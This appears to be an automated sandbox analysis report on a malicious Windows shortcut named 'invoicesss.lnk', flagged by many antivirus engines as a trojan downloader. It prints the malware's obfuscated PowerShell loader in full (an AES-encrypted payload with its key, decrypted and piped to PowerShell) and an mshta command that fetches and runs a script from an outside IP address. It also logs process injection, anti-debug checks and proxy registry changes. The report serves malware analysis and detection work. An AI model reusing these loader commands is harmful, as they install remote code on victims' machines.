heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050bc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050bd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050be000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050bf000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050c0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050c1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050c2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050c3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\invoicesss.lnk
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell.exe -w 1 -ep Unrestricted -nop $dMjcTRK = 'AAAAAAAAAAAAAAAAAAAAAADov4LCHPcq+5FUQS+L34/CefVyIeQtxjTsRmOOMGX5eTxgBOTb1/YzVpGoSuh7BTBA1qFlrvOuA5Itk2cF6ig+G69AJ8sIMC1nih0zGBw3JQtzH5a88QrX2D6+ZhDkMDvHoVxvc0R+Yu6qWfkeq6zHE3eASLE23XjyoTJtGNAg94ls0o75l3ajwsWltBj4/AzD67DDJcSE7EbwgvUrxOzO+TANVNrYUo4DIwuuAWPvlCOwcPptRJLUoxdVERmJPvGIb6eY9n1ntfYGuz2z5y/PdKUgK15BCIWCz1VQ3Q/kQcQGKlaETkOixON9Lkw9nyhX90os3juV1n4sLe3UxOQijbMAIG3vt8IOwaMQTqEJYHVy42tKXNeBDRvTLjB+fak0TXm8Vd1g5i7ha0DTSJmIEpSq6eNofPx0yNRbjLEIyMZXIvOQC0QLkLR78XTOpIk7FjR9FIP9V0XpcbyamPKPoTBfxc8jrgOG46rpQvVIN5bOIs5/Jqmop/qps9GEgkrWKzpuJb6iN5rMGGtYVGLCeC1Bpn4gQQeIZRxQHkfrhLv1P/WrvQq0fEST9Ee+kxEHr6VCE0B0yf4Dy2FMQU72mA68wT6jFlf6ar12AAlK';$xxMOE = 'Z29pdG9sVkJZVUVyREx6dW1HQ1JOY2FScFB2RGN1R2k=';$rHXSzlE = New-Object 'System.Security.Cryptography.AesManaged';$rHXSzlE.Mode = [System.Security.Cryptography.CipherMode]::ECB;$rHXSzlE.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$rHXSzlE.BlockSize = 128;$rHXSzlE.KeySize = 256;$rHXSzlE.Key = [System.Convert]::FromBase64String($xxMOE);$YAUel = [System.Convert]::FromBase64String($dMjcTRK);$EuMegIfR = $YAUel[0..15];$rHXSzlE.IV = $EuMegIfR;$IVASmKIQq = $rHXSzlE.CreateDecryptor();$DUSZFZYkI = $IVASmKIQq.TransformFinalBlock($YAUel, 16, $YAUel.Length - 16);$rHXSzlE.Dispose();$rRiC = New-Object System.IO.MemoryStream( , $DUSZFZYkI );$TnzBbxt = New-Object System.IO.MemoryStream;$PwoKIZPQa = New-Object System.IO.Compression.GzipStream $rRiC, ([IO.Compression.CompressionMode]::Decompress);$PwoKIZPQa.CopyTo( $TnzBbxt );$PwoKIZPQa.Close();$rRiC.Close();[byte[]] $bujqhPe = $TnzBbxt.ToArray();$SeyUotYt = [System.Text.Encoding]::UTF8.GetString($bujqhPe);$SeyUotYt | powershell -
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $dMjcTRK = 'AAAAAAAAAAAAAAAAAAAAAADov4LCHPcq+5FUQS+L34/CefVyIeQtxjTsRmOOMGX5eTxgBOTb1/YzVpGoSuh7BTBA1qFlrvOuA5Itk2cF6ig+G69AJ8sIMC1nih0zGBw3JQtzH5a88QrX2D6+ZhDkMDvHoVxvc0R+Yu6qWfkeq6zHE3eASLE23XjyoTJtGNAg94ls0o75l3ajwsWltBj4/AzD67DDJcSE7EbwgvUrxOzO+TANVNrYUo4DIwuuAWPvlCOwcPptRJLUoxdVERmJPvGIb6eY9n1ntfYGuz2z5y/PdKUgK15BCIWCz1VQ3Q/kQcQGKlaETkOixON9Lkw9nyhX90os3juV1n4sLe3UxOQijbMAIG3vt8IOwaMQTqEJYHVy42tKXNeBDRvTLjB+fak0TXm8Vd1g5i7ha0DTSJmIEpSq6eNofPx0yNRbjLEIyMZXIvOQC0QLkLR78XTOpIk7FjR9FIP9V0XpcbyamPKPoTBfxc8jrgOG46rpQvVIN5bOIs5/Jqmop/qps9GEgkrWKzpuJb6iN5rMGGtYVGLCeC1Bpn4gQQeIZRxQHkfrhLv1P/WrvQq0fEST9Ee+kxEHr6VCE0B0yf4Dy2FMQU72mA68wT6jFlf6ar12AAlK';$xxMOE = 'Z29pdG9sVkJZVUVyREx6dW1HQ1JOY2FScFB2RGN1R2k=';$rHXSzlE = New-Object 'System.Security.Cryptography.AesManaged';$rHXSzlE.Mode = [System.Security.Cryptography.CipherMode]::ECB;$rHXSzlE.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$rHXSzlE.BlockSize = 128;$rHXSzlE.KeySize = 256;$rHXSzlE.Key = [System.Convert]::FromBase64String($xxMOE);$YAUel = [System.Convert]::FromBase64String($dMjcTRK);$EuMegIfR = $YAUel[0..15];$rHXSzlE.IV = $EuMegIfR;$IVASmKIQq = $rHXSzlE.CreateDecryptor();$DUSZFZYkI = $IVASmKIQq.TransformFinalBlock($YAUel, 16, $YAUel.Length - 16);$rHXSzlE.Dispose();$rRiC = New-Object System.IO.MemoryStream( , $DUSZFZYkI );$TnzBbxt = New-Object System.IO.MemoryStream;$PwoKIZPQa = New-Object System.IO.Compression.GzipStream $rRiC, ([IO.Compression.CompressionMode]::Decompress);$PwoKIZPQa.CopyTo( $TnzBbxt );$PwoKIZPQa.Close();$rRiC.Close();[byte[]] $bujqhPe = $TnzBbxt.ToArray();$SeyUotYt = [System.Text.Encoding]::UTF8.GetString($bujqhPe);$SeyUotYt | powershell -
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
cmdline "C:\Windows\system32\mshta.exe" http://185.38.142.128/test.sp
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')http://185.38.142.128/test.sp
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -w 1 -ep Unrestricted -nop $dMjcTRK = 'AAAAAAAAAAAAAAAAAAAAAADov4LCHPcq+5FUQS+L34/CefVyIeQtxjTsRmOOMGX5eTxgBOTb1/YzVpGoSuh7BTBA1qFlrvOuA5Itk2cF6ig+G69AJ8sIMC1nih0zGBw3JQtzH5a88QrX2D6+ZhDkMDvHoVxvc0R+Yu6qWfkeq6zHE3eASLE23XjyoTJtGNAg94ls0o75l3ajwsWltBj4/AzD67DDJcSE7EbwgvUrxOzO+TANVNrYUo4DIwuuAWPvlCOwcPptRJLUoxdVERmJPvGIb6eY9n1ntfYGuz2z5y/PdKUgK15BCIWCz1VQ3Q/kQcQGKlaETkOixON9Lkw9nyhX90os3juV1n4sLe3UxOQijbMAIG3vt8IOwaMQTqEJYHVy42tKXNeBDRvTLjB+fak0TXm8Vd1g5i7ha0DTSJmIEpSq6eNofPx0yNRbjLEIyMZXIvOQC0QLkLR78XTOpIk7FjR9FIP9V0XpcbyamPKPoTBfxc8jrgOG46rpQvVIN5bOIs5/Jqmop/qps9GEgkrWKzpuJb6iN5rMGGtYVGLCeC1Bpn4gQQeIZRxQHkfrhLv1P/WrvQq0fEST9Ee+kxEHr6VCE0B0yf4Dy2FMQU72mA68wT6jFlf6ar12AAlK';$xxMOE = 'Z29pdG9sVkJZVUVyREx6dW1HQ1JOY2FScFB2RGN1R2k=';$rHXSzlE = New-Object 'System.Security.Cryptography.AesManaged';$rHXSzlE.Mode = [System.Security.Cryptography.CipherMode]::ECB;$rHXSzlE.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$rHXSzlE.BlockSize = 128;$rHXSzlE.KeySize = 256;$rHXSzlE.Key = [System.Convert]::FromBase64String($xxMOE);$YAUel = [System.Convert]::FromBase64String($dMjcTRK);$EuMegIfR = $YAUel[0..15];$rHXSzlE.IV = $EuMegIfR;$IVASmKIQq = $rHXSzlE.CreateDecryptor();$DUSZFZYkI = $IVASmKIQq.TransformFinalBlock($YAUel, 16, $YAUel.Length - 16);$rHXSzlE.Dispose();$rRiC = New-Object System.IO.MemoryStream( , $DUSZFZYkI );$TnzBbxt = New-Object System.IO.MemoryStream;$PwoKIZPQa = New-Object System.IO.Compression.GzipStream $rRiC, ([IO.Compression.CompressionMode]::Decompress);$PwoKIZPQa.CopyTo( $TnzBbxt );$PwoKIZPQa.Close();$rRiC.Close();[byte[]] $bujqhPe = $TnzBbxt.ToArray();$SeyUotYt = [System.Text.Encoding]::UTF8.GetString($bujqhPe);$SeyUotYt | powershell -
filepath: powershell.exe
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2368
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 16 (PAGE_EXECUTE)
base_address: 0x03d90000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
host 185.38.142.128
Time & API Arguments Status Return Repeated

RegSetValueExA

 key_handle: 0x000002f0
regkey_r: ProxyEnable
reg_type: 4 (REG_DWORD)
value: 0
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
1 0 0
Time & API Arguments Status Return Repeated

RegSetValueExA

 key_handle: 0x000002f0
regkey_r: ProxyOverride
reg_type: 1 (REG_SZ)
value: 127.0.0.1:16107;
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride
1 0 0
parent_process powershell.exe martian_process "C:\Windows\system32\mshta.exe" http://185.38.142.128/test.sp
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
Process injection Process 1636 resumed a thread in remote process 1184
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000338
suspend_count: 1
process_identifier: 1184
1 0 0
option -ep unrestricted value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -ep unrestricted value Attempts to bypass execution policy
option -nop value Does not load current user profile
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Windows\System32\mshta.exe
CTX lnk.unknown.boxter
Skyhigh BehavesLike.Trojan.xx
VIPRE Heur.BZC.YAX.Boxter.1077.1C88D66D
Sangfor Trojan.Generic-LNK.Save.64f1e997
Arcabit Heur.BZC.YAX.Boxter.1077.1C88D66D
ESET-NOD32 LNK/TrojanDownloader.Agent.BKJ
Kaspersky HEUR:Trojan.WinLNK.Agent.gen
BitDefender Heur.BZC.YAX.Boxter.1077.1C88D66D
MicroWorld-eScan Heur.BZC.YAX.Boxter.1077.1C88D66D
Rising Trojan.Runner/LNK!1.FDCB (CLASSIC)
Emsisoft Heur.BZC.YAX.Boxter.1077.1C88D66D (B)
Sophos Troj/LnkObf-W
SentinelOne Static AI - Suspicious LNK
FireEye Heur.BZC.YAX.Boxter.1077.1C88D66D
Google Detected
ZoneAlarm HEUR:Trojan.WinLNK.Agent.gen
GData Heur.BZC.YAX.Boxter.1077.1C88D66D
Varist LNK/Powershell.AU.gen!Eldorado
McAfee Downloader-FCRC!F5A8227C071B
VBA32 suspected of Trojan.Link.URL
Zoner Probably Heur.LNKScript
huorong TrojanDownloader/LNK.Agent.dw
Fortinet LNK/Agent.D!tr